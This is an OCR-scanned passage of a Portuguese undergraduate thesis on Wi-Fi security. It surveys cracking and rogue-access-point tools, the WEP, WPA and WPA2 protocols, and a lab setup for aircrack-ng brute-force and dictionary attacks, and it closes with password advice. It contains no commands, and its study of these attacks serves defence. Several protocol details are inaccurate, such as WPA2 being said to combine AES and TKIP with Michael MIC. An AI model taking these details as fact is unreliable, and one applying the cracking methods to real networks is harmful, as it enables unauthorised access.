caracteristicas como poténcia do sinal, Extended Service Set ID (ESSID') da rede em questio,
além de suporte a GPS. Porém esta ndo € utilizada somente por pessoas mal intencionadas, o
gerente da rede também a utiliza para monitorar a qualidade do sinal e quantos dispositivos

estdo instalados na sua institui¢do.

1 % Z 1 4. . ope
E um cédigo alfanumérico que identifica os computadores e pontos de acesso que fazem parte da rede.
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Segundo Lacerda (2007) algumas limitacdes também sdo encontradas, as mais
expressivas sdo de ndo realizar captura de trafego e ndo possuir métodos para quebra de

chaves WEP.

3.3.2 Kismet

Um sniffer (farejador) muito conhecido, desenvolvido com tecnologia open
souce2, com funcionamento em ambientes Linux/Unix, inclui muitas ferramentas e opcoes.
Este é projetado com arquitetura cliente/servidor, e além de monitorar muitas origens
diferentes pode também armazenar pacotes capturados. Por meio da unido das suas
caracteristicas com um GPS, podem ser gerados dados relacionados a localizagcdo do
dispositivo monitorado.

Segundo Duarte (2003) o Kismet disponibiliza varias das informacdes necessarias
para que um ataque possa ser realizado, e por meio de andlises, pode ser constatado que o
Kismet ¢ a melhor ferramenta para utilizacio em Linux (COZER, 2006). Algumas das
informacdes disponibilizadas sdo:

a) ndamero de WLANSs detectadas;

b) total de pacotes capturados por WLAN;

¢) auséncia ou ndo de criptografia WEP;

d) ndmero de pacotes irreconheciveis;

e) pacotes descartados e tempo decorrido desde a execugdo do programa;

f) nimero de pacotes com o vetor de inicializacdo (I.V);

g) nome da rede (SSID).

h) nivel de sinal;

i) taxa maxima suportada pela rede;

* Possui c6digo aberto, ou seja, qualquer pessoa que conheca pode realizar alteragdes.
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j)  BSSID (relaciona-se ao endereco MAC do Access Point);
k) Qual o canal que a WLAN esta configurada;

1) Se o dispositivo monitorado € um Access Point, ou nao;
m) Padrio utilizado (802.11 a/b/g).

Algumas das caracteristicas citadas acima podem ser visualizadas na Figura 11.

root@testes-laptop: ~

Arquivo Editar Wer Terminal Ajuda
Network List—(SSID)

Name T W ch Packts Flags IP Range
Network Details

s Point (infrastructure)

. Yes

(IP WPA PSK

(+) Down
Battery: AC 100% 55

Figura 11. Tela do Kismet em execugdo

3.3.3 WEPCrack

Segundo Cozer (2006) este programa que funciona em ambientes Linux e
Windows, € utilizado geralmente por pessoas mal intencionadas, que por meio de
vulnerabilidades encontradas no protocolo WEP se apoderarem de informagdes vitais da rede,

como por exemplo, o SSID, para realizar ataques posteriormente.
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3.3.4 AirSnort

Esta ferramenta foi langada apds a divulgacdo das falhas no protocolo WEP,
considerada antiga, porém ainda muito utilizada, ela realiza a quebra de chaves WEP, essa

quebra acontece apds obter entre trés e cinco milhdes de pacotes trocados (MOURA, 2005).

3.3.5 Aircrack

Segundo Moura (2005) o Aircrack esta classificada entre as ferramentas mais
eficientes disponiveis para quebra de chaves WEP, capaz de mostrar o trafego usando a chave
descoberta, gerando assim um arquivo com a mensagem decifrada.

Esta ferramenta também € muito utilizada para tentativas de quebra WPA e WP2.

3.3.6 FakeAP

Este € um programa capaz de transformar um dispositivo de rede sem fio em um
Access Point, falsificando algumas caracteristicas que fazem com que o usudrio pense estar
conectado ao concentrador correto (SOUZA, 2005). Dentre suas caracteristicas ganham
destaque:
a) Receber conexdes em um canal especifico;
b) Usar ESSID especifico;
c) Utilizar um endereco MAC especifico ou o padrao de um fabricante;
d) Usar uma determinada chave WEP;
e) Permitir configuracao de poténcia de saida.
Segundo Souza (2005) o FakeAP geralmente € utilizado por pessoas mal

intencionados buscando dados para atacar a rede em uma ocasiao futura.
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3.3.7 Airtraf

O Airtraf permite que sejam coletadas muitas informacdes sobre as redes
identificadas em tempo real. Para invasores ele traz diversas vantagens como numero de
clientes conectados e servigos utilizados além de quebrar a chave do protocolo WEP no
padrao 802.11b. Quando utilizada por administradores permite que sejam monitoradas as
atividades pelas quais sao responsaveis.

No préximo Capitulo algumas formas de prote¢do contra ataques serdao descritos,
buscando que os usudrios e administradores de redes possam alcangar uma maior seguranga

em suas informagdes.
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4 SEGURANCA EM REDES SEM FI10

Cada vez mais a informatica € vista como aliada da evolucdo econdmica. Muitas
empresas véem nessas ferramentas uma forma de tornar o trabalho de seus funciondrios mais
facil e rapido, assim tornando seu negocio mais competitivo (NAKAMURA, 2000).

As redes sao fundamentais neste processo, tornando possivel a ligagdo entre esses
computadores. Sendo que as sem fio possuem um grande diferencial em relacao as cabeadas,
pois esta disponibiliza mobilidade e assim permite que os usudrios possam encontrar mais
liberdade no trabalho enquanto usam a rede e como resultado acabam produzindo mais e
gerando mais lucros para a organizacio (NAKAMURA, 2000).

Com o aumento do interesse dos usudrios em relacdo as conexdes sem fio teve-se
que aumentar as ferramentas para diminuir as vulnerabilidades que estas redes estdo expostas.
E uma das formas de manter uma rede segura esta em prevenir os ataques, ja que sua area
vulneravel ¢ bem maior que a das redes cabeadas por ultrapassar o espaco fisico, e com isso a
dificuldade de controle de invasores é bem maior (ANDRADE, 2004). Na Tabela 4 serdo

descritas trés modalidades que classificam as medidas de seguranca.

Tabela 4. Medidas de Seguranca

Medidas de Seguranga Descrigao

Preventivas Visam prevenir que ataques venham a ocorrer, para isso sao realizadas
palestras, treinamentos, configuragdes de equipamentos entre outros.

Detectaveis Analisam os focos que podem estar causando as ameagas.

Corretivas Correcéao das estruturas buscando que se adaptem a politica da

organizagao.

Fonte: Adaptado de SEMOLA, M. (2003).



47

4.1 FERRAMENTAS PARA DETECCAO DE ATAQUES E MONITORAMENTO

A prevengdo € uma arma muito forte contra os ataques a redes, para isso muitos
softwares de monitoramento vem sendo criados para que as invasdes possam ser impedidas
ou encontradas antes de concluidas, e também para que se encontre o foco em que falhas
podem estar ocorrendo. Abaixo serdo descritas algumas ferramentas para deteccdo e

monitoramento de ataques.

4.1.1 WIDS

A Wireless Intrusion Detection Systems (WIDS) segundo Lacerda (2007), € uma
ferramenta que consegue detectar ndo apenas ataques, mas diversas outras irregularidades.
Abaixo estdo descritos os tipos de trafegos monitorados por esta ferramenta.

a) estudo do intervalo de tempo entre os beacons de cada concentrador

encontrado;

b) deteccao de requisi¢cdes encontradas;

c) deteccao da freqii€ncia de requisi¢des de reassociacao;

d) localizacdo de repetidas requisicdes de autenticagdo em um intervalo de tempo

muito pequeno.

4.1.2 Snort Wireless
Esta ferramenta € utilizada para identificar ataques baseados em assinaturas,
pacotes mal formados e trafego suspeito. Trata-se de um sistema de detec¢do de intruso que €

capaz de fazer o registro dos pacotes e a andlise do traifego de uma rede em tempo real.
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4.1.3 AirMagnet

Este Software de monitoramento permite o reconhecimento de dispositivos
estranhos conectados 4 rede possibilitando que alarmes sejam acionados quando algum evento
estranho for detectado.

Segundo Lacerda (2007) o AirMagnet ajuda a organizar os niveis de seguranca
das WLANS com uma rotina que facilite o entendimento do administrador. Quando uma rede
nido é projetada de forma correta varios problemas podem ser detectados no decorrer da

utilizacdo.

4.1.4 AirStrike

Esta ferramenta tem o objetivo de promover a seguranca durante o acesso a
Wireless por meio do ponto de acesso sem comprometer a conexdo. O AirStrike é baseado no
padrao 802.11a, 802.11b e 802.11g, e realiza o gerenciamento das redes sem fio com
confiabilidade garantindo que apenas usudrios autorizados possam ter acesso.

O funcionamento desta ferramenta leva em consideracdo sete principios listados
abaixo:

a) autenticacdo: certifica a legitimidade do usudrio e a do gateway’ de

seguranga;
b) autorizacdo: apenas usudrios autorizados t€m acesso aos recursos da rede;
c) privacidade: os dados que trafegam na rede sdo criptografados e ndo podem

interceptados por invasores;

3¢ ~ L
E o endereco que faz a conexdo entre os usudrios da rede.
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d) mobilidade: os usudrios podem se descolar pela rede sem fio livremente
desde que exista cobertura de pelo menos um ponto de acesso;

e) gerenciamento: todos os parametros de seguranca podem ser gerenciados de
forma integrada;

f) portabilidade: suporte a diversas plataformas de clientes, como Windows,
Linux, Mac OS, PDAs (Assistente Pessoal Digital) e Smartphones;

g) interoperabilidade: o sistema suporta dispositivos proprietdrios, integrando-se
a uma rede sem fio existente, como também prové a funcionalidade de um
dispositivo sem fio proprietdrio. De toda forma, o resultado € a redugdo de
custos.

Na Figura 12 os componentes da arquitetura desta ferramenta de segurancga.

ArStrike
h;_ _,.*J '.
AirStrikeSec
Fitewrall)
U Sistema de Distribuigio
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|
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Figura 12. Componentes da arquitetura do AirStrike
Fonte: (AIRSTRIKE, 2009).

4.2 CRIPTOGRAFIA

Uma forma de aumentar a seguranca dos dados que trafegam na rede € utilizando

a criptografia. Com esta forma de protecdo o trafego de dados na rede € feito sem uma
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combinacdo 16gica, tornando impossivel seu entendimento imediato, assim se for atacado o
invasor ndo terd acesso ao seu conteudo.
Segundo Lacerda (2007) o objetivo de se realizar a criptografia computacional é

buscar:

a) sigilo dos dados: onde somente usudrios autorizados possam ter acesso;

b) integridade: garantindo ao usudrio que a informacao esta estd correta;

c) identidade do usudrio: onde o sistema pode verificar a identidade do

usudrio ou do dispositivo que esta em contato.

A criptografia dos dados é realizada como mostra a Figura 13.

Processo de criptografia

BERVWHIUF F2P29G

MIP42F0-30&M6F a4 1e
EG3G34TH4 Yo P rUE%
aaTWE4a43* Inannorln

A informatica trouxe uma
nova viso e perspectiva | —p —»
para a comunicagio

TEXTO ORIGINAL TEXTO CIFRADO

Processo de decriptografia

SERWHIUF F2P29G

MRS ZF0-308" % RS 1% A informética trouxe uma

EnAGE4THE aa Faras 1T —* | nova visfio e perspectiva

BETVWE4B4F InerRDRUR para a comunicecéio
TEXTO CIFRADO TEXTO ORIGINAL

Figura 13. Realizagdo da codificagdo e decodificacio
Fonte: (Costa, 2009).

Nesta forma os dados enviados passam por um processo de cifragem, onde seu
conteddo sofre influéncia de cédigos e simbolos para que seu sentido original seja perdido.
Ao chegar ao seu destino os dados criptografados passam pelo processo inverso, onde a
mesma técnica € aplicada, transformando o c6digo no seu formato original para se tornar
entendivel pelo recebedor.

Existem duas formas criptografia, a de chave privada e a de chave publica, mais

sobre elas serd relatado a seguir.
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4.2.1 Criptografia de Chave Privada (Simétrica)

Este tipo de criptografia também conhecido como criptografia tradicional utiliza o
mesmo fundamento da criptografia antiga, por meio de transposi¢ao e substitui¢do, porém os
algoritmos utilizados atualmente sdo tdo complexos que até mesmo os criptoanalistas sentem
dificuldades em desvendar o c6digo sem possuir a chave (TANENBAUM, 2003).

Na criptografia simétrica a chave para criptografar e descriptografar é a mesma,
assim o receptor e o transmissor tém que estar cientes da chave a ser utilizada
(FIGUEIREDO; DINIZ; COROA, 2005).

Os alguns algoritmos utilizados neste tipo de criptografia sao listados na tabela 5:

Tabela 5. Alguns algoritmos de chave simétrica

Cifra Autor Comprimento da Comentarios
chave
Blowfish Bruce Schneier 1 a 448 bits Antigo e muito lento
DES IBM 56 bits Ja se tornou muito fraco
IDEA Massey e Xuejia 128 bits Bom, mas patenteado
RC4 Ronald Rivest 1 a 2048 bits Algumas chaves séao fracas
RC5 Ronald Rivest 128 a 256 bits Bom, mas patenteado
Rijndael Daemen e Rijmen 128 a 256 bits Melhor escolha
Serpent Anderson, Biham, 128 a 256 bits Muito forte
Knudsen
DES triplo IBM 168 bits Segunda melhor escolha
Twofish Bruce Schneier 128 a 256 bits Muito forte; amplamente utilizado

Fonte: Adaptado de Tanenbaum, A. (2003)

4.2.2 Criptografia de Chave Puablica (Assimétrica)

A criptografia de chave publica, ou assimétrica, € uma forma de criptografia que
exige duas chaves, uma para criptografar e outra para descriptografar, sendo que uma ¢é
sigilosa e outra € disponibilizada para todos os usudrios, € uma ndo pode ser derivada da

outra.
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Este modelo funciona de forma simples, uma pessoa cria duas chaves uma para
criptografar e outra para descriptografar, a primeira é divulgada e a segunda fica em posse
apenas do criador, assim apenas ele podera ter acesso as mensagens enviadas.

O algoritmo mais utilizado nesta forma de seguranga de dados € o RSA, criado em

1976 e utilizado até hoje.

4.3 PROTOCOLOS DE CRIPTOGRAFIA

A utilizacdo dos protocolos de criptografia existentes nas redes sem fio € uma
acdo muito importante para estabelecer um indice razodvel de seguranca para suas
informacdes.

Os protocolos WEP, WAP e WAP2 sao disponibilizados para utilizagdo dos

usudrios das WLAN:S, esses protocolos serdo apresentados a seguir.

4.3.1 Protocolo WEP

Com o aumento da busca por seguranca este protocolo esta presente em todos 0s
equipamentos que seguem o padrdo das redes sem fios.

Este protocolo foi aprovado em 1999, utiliza algoritmos simétricos para realizar a
cifragem de seus dados, sendo assim a chave deve ser compartilhada com todas as estacdes de
trabalho e com o Access Point (LACERDA, 2007).

O protocolo WEP atua na camada de enlace, usa o algoritmo de criptografia Ron’s
Code 4 (RC4), seu vetor de inicializacdo (IV) é de 24 bits e sua chave secreta compartilhada

(secret shared key) € de 40 ou 104 bits, assim somando o IV com a chave secreta tem-se a
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chave de 64 ou 128 bits, o algoritmo Cyclic Redundancy Check (CRC-32) atua em conjunto e

¢ utilizado para fornecer integridade quanto aos pacotes (GIMENES, 2006).

Wetor de
Inicializacdio (TV)

Criptografica
64 ou 128 bits

Chave secreta
] Mensagem
Transnutida

Texto Pleno .

ICY —Valor de .

verificagio de
Integridade

Figura 14. Realiza¢do da codificagdo com o WEP
Fonte: (JUNIOR SANTOS, 2008).

Como pode-se observar na figura 14 o IV tem sempre 24 bits e é concatenado
com a chave secreta que € configurada manualmente e pode ter 40 ou 104 bits. Esta chave
concatenada € inserida no algoritmo RC4, que transforma em uma seqiiéncia de nimeros
pseudo-randomica, que pode ser chamada de RC4 (IV,K) ou PRNS. Sendo que ndo existe
uma ordem para que o IV seja iniciado, ele adquire um novo valor geralmente quando a placa

de rede se conecta ao AP.

O texto enviado passa por um algoritmo de integridade, gerando o CRC-32
(Cyclic Redundancy Checks), valor de verificacdo de integridade, que é concatenado com o
texto. Na seqiiéncia um XOR ¢ realizado com o PRNS e o resultado da concatenagdo entre

texto e o CRC-32, s6 assim o pacote pode ser enviado criptografado, porém preservando o IV

sem criptografia.
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Chave
Criptografica
64 ou 128 bits

Seqiléncia
chave

Chave secreta
40 on 104 bats

Texto pl
extopleno Testo

Viensagem

Figura 15. Realizagdo da decodificacdo com o WEP
Fonte: (JUNIOR SANTOS, 2008).

Apdés a mensagem enviada, como pode ser visto na Figura 15, o receptor
concatena o IV com a chave compartilhada e passa pelo algoritmo RC4 para encontrar a
mesma PRNS criada para a transmissdo. Entdo um XOR ¢é feito com o texto e o PRNS. Assim
o texto enviado € recuperado juntamente com o Integrity Check Value (ICV) que é comparado
ao CRC-32 de origem que € analisado para verificar a legitimidade, se esta for alcancada o
texto € enviado para o host, sendo é desconsiderado.

Este protocolo possui suas falhas e vulnerabilidades, porém € um item a mais na
busca pelo aumento na seguranca dos dados (LACERDA, 2007). Sua maior vulnerabilidade
esta relacionada com alguns valores do IV, que podem tornar a chave fécil de ser desvendada

(COSTA, 2009).
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4.3.2 Protocolo WPA

Também conhecido como WEP2, esta primeira versdo do WPA foi criada em
2003, busca de corrigir vulnerabilidades encontradas no WEP. Esta versdo funciona em todos
os equipamentos que utilizavam o protocolo antigo.
Este protocolo ndo disponibiliza utilizagdo para Ad-Hoc, somente pode ser
utilizado em redes onde concentradores sdo utilizados.
Segundo Costa (2009) WPA continua utilizando o algoritmo RC4, porém algumas
melhorias foram encontradas como:
a) vetor de inicializacdo maior;
b) utilizacdo de um novo cddigo de verificacio de integridade das
mensagens (IV);
c) gerenciamento de chaves;
d) modo de autenticacdo corporativo e pessoal (doméstico).
Uma comparacdo entre a cifragem com WEP e com o WPA TKIP pode ser

observado na Figura 16.

Processo de cifragem TKIP

o

Processo de cifragem WEP

Figura 16. Comparativo entre a codificacdo com o WEP e com o WPA (TKIP)
Fonte: (JUNIOR SANTOS, 2008).
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Segundo Costa (2009), a principal vulnerabilidade do WPA estd relacionada a
forma de autenticagdo Pre-Shared Key (PSK), onde deve haver uma ligacdo por meio de
senha entre o usudrio e o AP, assim o atacante pode capturar os pacotes com o uso de captura
passiva, e utilizar o ataque de diciondrio para conhecer a senha. Como a maioria dos usudrios
usam senhas muito fracas a quebra se torna uma tarefa fécil, se as senhas tivessem um grau de

dificuldade maior o atacante ficaria limitado ao tamanho do dicionério.

4.3.3 Protocolo WPA2

O protocolo WPA2 ou 802.11i, foi lancado em 2004 com a proposta de extinguir
os problemas encontrados nos protocolos anteriores. Este tem como diferencial utilizar o
algoritmo de criptografia Advanced Encryptation Standart (AES) e o Temporal Key Integrity
Protocol (TKIP) em conjunto, com uma chave de 256 bits, e com essa chave mais extensa
torna este padrdao mais eficiente. Este protocolo permite a utilizagdo de chaves de 128, 192 e
256 bits. A certeza da integridade das mensagens € obtida por meio do algoritmo Michael
Message Integrity Check, que analisa se algum fator pode ter interferido na autenticidade da
mensagem.

O algoritmo AES faz a combinacdo da chave em blocos de 128 bits e em seguida
transforma em outro bloco de 128 bits completamente diferente do original. O processo de
encriptacdo e desencriptacdo € o mesmo, ou seja, os fabricantes precisam implementar o
processo uma tnica vez.

Um novo hardware se tornou necessario com a utilizacdo deste novo algoritmo,

pois este necessita de um co-processador para que os cdlculos criptograficos sejam calculados

(LACERDA, 2007).
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A vulnerabilidade estd ligada ao tamanho da chave utilizada pelo usudrio, da
mesma forma que o WPA, se as senhas forem pequenas podem ser facilmente desvendadas

por ataques de diciondrio.

4.4 POLITICAS DE SEGURANCA

As politicas de seguranca sdo uma forma preventiva de prezar pela seguranca das
informagdes de uma organizacdo. E um documento onde todas as normas e regras a serem
seguidas sdo documentadas. Assim todos os usudrios da rede devem ter conhecimento desse
documento e tem dever de segui-lo.

O inicio de uma politica de seguranca envolve uma visdo abrangente, que possa
analisar todos os problemas que a rede estd exposta, deixando bem claro o que cada usuério
pode ou ndo realizar, estas informacdes apds serem aprovadas devem ser expostas e
divulgadas a todos os usudrios.

Segundo Spanceski (2004) quatro elementos devem ser seguidos para garantir a
seguranga em uma organizagao:

a) vigilancia: todos os funciondrios devem entender a importancia do
cumprimento das regras, e fiscalizar se os outros usudrios estdo seguindo as
normas definidas;

b) atitude: o facil acesso as informacOes contidas na politica e o seu
planejamento adequado sdao muito importantes para o sucesso das regras
estipuladas;

c) estratégia: a politica deve ser ampla e bem planejada que possa suportar todas

as necessidades da organizacdo, em nenhum momento as normas devem

influenciar de forma negativa no andamento da empresa;
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d) tecnologia: os equipamentos utilizados deverdao suprir as necessidades,
equipamentos desatualizados podem por em risco toda a estrutura.

Além das normas que os usudrios devem seguir devem estar inclusos neste

documento as formas de prevengdo contra acidentes naturais, armazenamento e acesso das

informacdes, controle de acesso fisico, politicas de uso entre outras que podem ser observadas

na tabela 6.
Tabela 6. Normas presentes nas Politicas de Segurancga
Controles Precaugdes
Acidentes Naturais Os equipamentos principalmente do centro de informética devem estar

protegidos de incéndios, enchentes e outros desastres, mas
preparados que na ocorréncia destes fendmenos os estragos sejam o
menor possivel.

Armazenamento e acesso das O armazenamento das informagdes deve ser realizado em locais bem

informagdes protegidos, onde backups possam ser realizados com freqiiéncia, e

somente possas autorizadas possam ter acesso.

Controle de acesso fisico O acesso fisico pode ser menos prejudicial que o l6gico, porém nao

pode ser esquecido, as pessoas que tem acesso aos dados devem ser
identificadas e autorizadas.

Politicas de uso O usuario deve saber prezar pelos equipamentos da organizagéo, e ter

ética ao utiliza-los, os equipamentos estao disponiveis para fins da
organizagao, interesses pessoais ndo devem ser realizados utilizando

essas ferramentas.

Fonte: Adaptado de Wanderley, D. (2005)

Segundo Wanderley (2005) deve-se ter muito cuidado na criacdo da politica de
seguranca, pois ela ndo deve conter dados nem expressoes técnicas, mas também ndo deve
conter um passo a passo de acesso, deve conter informagdes diretas e simples, para que seja
compreendida por todos os usudrios, mas que niao se torne uma arma contra a propria
seguranca da organizacdo. No Capitulo a seguir serdo relatadas algumas caracteristicas de

trabalhos anteriores que trazem caracteristicas semelhantes a este.
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S TRABALHOS CORRELATOS

Com a expansao da utiliza¢do das redes sem fio, os ataques vém ficando cada vez
mais eficientes e métodos de defesa sdo desenvolvidos para tornar os clientes menos
vulnerdveis. Para que isso aconteca cada vez mais estudos e pesquisas vem sendo realizados
nesta area.

Neste capitulo sao relacionados alguns trabalhos que realizaram pesquisas

relacionadas a seguranca em redes sem fio.

5.1 SEGURANCA REDES SEM FIO

Trabalho de Conclusdo de Curso de Ciéncia da Computagdo, como requisito para
obtencdo do titulo de Bacharel em Ciéncia da Computagao, realizado em 2006, na Faculdade
de Jaguaritna, Sdo Paulo.

O trabalho tem como objetivo aumentar o conhecimento dos usudrios de redes
sem fio sobre seguranca e configuracdo de equipamentos, visando diminuir as falhas e ataques
que acontecem a essas redes por pessoas mal intencionadas. Também sdo realizados testes

usando ferramentas para ataques e defesas (COZER, 2006).

5.2 ANALISE DE PRADROES DE SEGURANCA EM REDES SEM FIO IEEE 802.11

Trabalho de Conclusdo de Curso de Ciéncia da Computacdo, como requisito para
obtencdo do titulo de Bacharel em Ciéncia da Computagdo, realizado em 2009, na

Universidade do Extremo Sul Catarinense, Criciima, Santa Catarina.
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Este trabalho aborda a importancia das redes sem fio para a organiza¢do das
informacdes, e a importancia da seguranca neste tipo de rede. Com o objetivo de abordar os
padrées e protocolos mais conhecidos. Também foram realizados testes em ambientes
projetados utilizando algumas ferramentas com objetivo de capturar senhas e analisar o

desempenho das ferramentas (COSTA, 2009).

5.3 ANALISE DE VULNERABILIDADES E ATAQUES INERENTES A REDES SEM FIO

802.11X

Trabalho de Conclusao de Curso de Ciéncia da Computacgao, realizado em 2003,
na Universidade Estadual Paulista Julio de Mesquita Filho, Sdo José do Rio Preto, Sdo Paulo.

O objetivo deste trabalho é mostrar e analisar as vulnerabilidades e ferramentas de
ataque a redes sem fio, realizando testes e mostrando seu funcionamento, para servir como
base para que ferramentas de defesa sejam desenvolvidas. Também sdo mostrados alguns

padrdes Wireless e a importancia deste tipo de rede (DUARTE, 2003).

5.4 ANALISE DE SEGURANCA EM REDES WIRELESS 802.11X

Trabalho de Conclusido de Curso de Ciéncia da Computagdo, realizado em 2007
na Universidade Federal de Juiz de Fora, em Minas Gerais.

O trabalho € constituido por estudos das fragilidades dos protocolos utilizados em
Wireless, levantamento de ferramentas desenvolvidas especificamente para realizar ataques e
verificacdes de mecanismos de defesa disponiveis que apresentam solucdes eficazes para a

seguranca dessas redes (LACERDA, 2007).
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6 ANALISE DE SEGURANCA NOS CONCENTRADORES DE REDE SEM FIO

Na pesquisa realizada foram estudados varios fatores sobre as Wireless, sendo eles
relacionados a vulnerabilidades e protecdo, envolvendo o estudo tedrico e pratico. Com base
nisso foram estudadas formas de prote¢cdo por meio de senhas seguras e de configuracdo
corretas no AP.

Alguns testes praticos serdo realizados, utilizando as informacdes obtidas nos
capitulos anteriores. Iniciando com a andlise de dos ataques que os protocolos de redes sem
fio sdo vulneraveis, sendo o primeiro o ataque de forca bruta, que € uma ameaca ao protocolo
WEP, e o segundo o ataque de diciondrio que ameaca os protocolos WPA e WPA?2.

Os testes serdo realizados utilizando a ferramenta Aircrack-ng, que contém um
pacote de programas utilizados para andlise da rede, captura, e quebra de chaves. Os

protocolos utilizados nos testes serdo o WEP, WPA, WPA?2.

6.1 AMBIENTE E FERRAMENTAS UTILIZADAS

Os testes foram realizados em um ambiente projetado para a captura dos pacotes
sem causar danos a outras redes ao alcance do atacante. Tendo como base o sistema
operacional Linux Ubuntu 10.04, e utilizando as ferramentas Kismet, e o pacote Aircrack-ng,
que inclui os seguintes componentes:

a) Airmon-ng: colocar a interface sem fio em modo monitor;

b) Airodump-ng: analisa e captura os Vs da rede;

c) Aireplay-ng: envia pacotes ao ponto de acesso com o objetivo de gerar
mais trafego e assim quebrar a chave de forma mais rdpida;

d) Aircrack-ng: realiza a quebra das chaves.
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Todos os programas utilizados, o sistema operacional e as ferramentas sdo

disponibilizados gratuitamente.

A Figura 17 mostra o ambiente utilizado para realizar os testes.

Internet

Access
Point

Atacante

Usuario

Figura 17. Ambiente utilizado para realizacdo dos testes

Para que os testes pudessem ser executados foram utilizados os seguintes

equipamentos:
a)
b)
c)
d)

€)

D-Link DSL-500b: modem ADSL;

Air Live WL-5460AP: roteador sem fio;
Broadcom: placa sem fio;

Atheros: placa de rede sem fio;

notebook HP: utilizado na fun¢do de usuério;

notebook Samsung: utilizado como atacante;
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6.2 CENARIOS E METRICAS

As métricas a serem analisadas serdo as seguintes:

a)

b)

d)

€)

andlise do ataque de forca bruta: examinar como esse ataque pode acontecer e
uma forma de protecao;

andlise do ataque de diciondrio: observar quais fatores permitem que aconteca
esse tipo de ataque e uma forma de protecao;

avaliacdo dos protocolos: aplicar os protocolos disponiveis e analisar o nivel
de seguranca oferecido pelos mesmos;

constru¢do correta de senhas: trazer informacdes importantes para que oS
usudrios possam construir senhas capazes se fornecer segurancga a sua rede;
configuragdo do Access Point: orientar o usudrio em relacao as configuragdes
disponiveis em alguns APs;

politicas de seguranca: mostrar aos usudrios € administradores de redes a
importancia da elaboragdo de politicas de seguranca para utilizacdo de redes

sem fio.

Para que essas andlises sejam realizadas alguns cendrios precisam ser elaborados:

a) presenca do protocolo WEP: este primeiro teste conta com a existéncia do

protocolo WEP utilizando chaves de 64 e 128 bits, sendo testadas trés chaves para

cada opcao;

b) presenga do protocolo WPA: existéncia do protocolo WPA TKIP realizando

testes com senhas diferenciadas;

c) presenca do protocolo WPAZ2: existéncia do protocolo WPA AES analisando

senhas com caracteristicas diferentes;



64

d) presencga do protocolo WPA2 Mixed: que conta com a existéncia do protocolo

WPA2 AES e WPA TKIP analisando senhas diferenciadas.

6.2.1 Ataque de Forca Bruta

Esse ataque acontece por meio da captura dos IVs que trafegam pela rede, pode
ser utilizado em redes que utilizam o protocolo WEP em todas as suas versdes. Apos a
captura de aproximadamente 25.000 IVs para o protocolo WEP de 64 bits e 50.000 para a
versdao 128 bits, inicia um processo de tentativas seguidas até que a senha possa ser
desvendada.

O ataque de for¢a bruta ndo pode ser utilizado quando o protocolo utilizado € o
WPA ou WPA2, pois nesse caso sdo permitidas chaves mais extensas, o que tornaria invidvel

esse método, uma quebra poderia levar meses (KIOSKEA, 2009).

6.2.2 Ataque de Dicionario

Esse ataque também acontece com a captura dos IVs que trafegam pela rede, é
utilizado nos protocolos WPA e WPA2. Esse tipo de ataque exige além da captura dos IVs a
captura do handshake® da rede (COSTA, 2009).

Esse ataque analisa os IVs capturados e compara com um arquivo de diciondrio,
também conhecido como Word List, para tentar desvendar a senha, porém a senha s6 serd
desvendada se a chave estiver contida no diciondrio, sendo que as vezes um ataque bem

sucedido s6 € obtido quando vérios diciondrios sdo testados (KIOSKEA, 2009).

4 . - . - . ,
Autentica¢do que garante a comunicacio entre o Access Point e o computador, onde estd armazenada a
criptografia utilizada na autenticacdo da rede.
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6.2.3 Captura de I'Vs

Para que os ataques citados anteriormente possam ser executados € necessario que
sejam capturados um nimero significativo de IVs. Os IVs trafegam de forma que todos os
computadores ao alcance da rede podem “ouvi-los”, mas s6 o destinatdrio pode recebé-lo.
Entdo o atacante configura sua placa para modo monitor’ e com auxilio de um software
comega a capturar os pacotes que trafegam na rede. Sendo que nao existe uma forma de inibir
a captura dos pacotes, a unica forma de evitar que a senha da rede seja descoberta € usando

uma chave segura, dificil de ser desvendada.

6.3 CRIANDO SENHAS SEGURAS

Uma das formas utilizadas para que a seguranca em uma rede sem fio seja mais
robusta € a utilizacdo de senhas fortes, mas um significativo nimero de pessoas nio sabe
escolher ou ter os cuidados bésicos para que a senha se torne a chave da sua seguranca
(POMPERMAYER JUNIOR, 2002).

A integridade relacionada a Internet estd vinculada nas senhas utilizadas como
uma pessoa estd aos seus documentos, € ao perdé-los ou ter sua senha desvendada estd
exposto a varias vulnerabilidades (UFPEL, 2009).

Grande parte dos usudrios acredita que as senhas sdo desvendadas por uma falha
no sistema, mas na verdade ndo € isso que acontece, a maioria dos ataques e invasdes ocorrem
por ter uma senha mal elaborada.

A criagcdo de uma senha segura depende do bom senso do seu criador, levando em

conta que ha alguns anos uma senha segura era composta por seis digitos, mas essa realidade

> Modo que pode ser ativado na placa de rede que permite que sejam capturados todos os pacotes que trafegam
na rede, neste modo o navegacao na Internet ndo € permitida.
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mudou, com auxilio da evolugado tecnoldgica muitas técnicas foram desenvolvidas e esse tipo
de senha pode ser desvendada em poucos segundos, a indicacdo feita hoje € que as senhas
tenham no minimo 8 caracteres (ALBERTO, 2006).

Segundo Alberto (2006) senhas que realmente sdo chaves de seguranga somente

sao obtidas com a combinag¢ado de alguns fatores citados a seguir:

a) Nao utilizar dados pessoais como seu nome ou de parentes, datas de
nascimento de integrantes da familia, mesmo que haja combinacdes entre as
informagdes ou pequenas alteracdes na escrita;

b) Dados que possam ser desvendados facilmente incluindo enderecos, placa do
carro, ndmero de documentos também sao alvo facil;

c¢) Nunca anote senhas em papéis, agendas ou algum lugar que outras pessoas
possam ter acesso, o melhor lugar para armazenar senhas sem nenhum risco é
na sua memoria;

d) Senhas criadas a partir de palavras existentes em diciondrios, tanto nacionais
quanto estrangeiros podem ser desvendadas com ataques de diciondrio;

e) Nao utilizar senhas com apenas um tipo de caractere, chaves fortes devem
conter letras maidsculas e minudsculas, caracteres especiais € nimeros;

f) Uma senha deve combinar no minimo 8 caracteres;

g) Nunca utilizar seqiiéncias de digitos do teclado, como, “qwel23” ou “qwerty”,
nem seqiiéncia de numeros “1234567;

h) Nao utilize a mesma senha em lugares diferentes, pois se a senha for
desvendada apenas um local serd atacado;

1) A troca das senhas deve acontecer regularmente, no periodo de

aproximadamente 3 meses;
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j) Muito cuidado ao digitar uma senha em publico, muitos invasores usam esse
método para coletar senhas.
Obedecendo a essas regras e usando algumas técnicas que serdo descritas a seguir
a senha criada terd um nivel de seguranca considerado razodvel, podendo assim aumentar a
seguranca das informacdes. Segundo Arantes (2006) essas técnicas t€ém como funcdo a

criacdo de senhas fortes e que o usudrio possa lembra-la com facilidade.

6.3.1 Senhas Baseadas na Geometria do Teclado

Esse método de criacdo de senhas tem uma grande aceitacao dos usudrios, existem
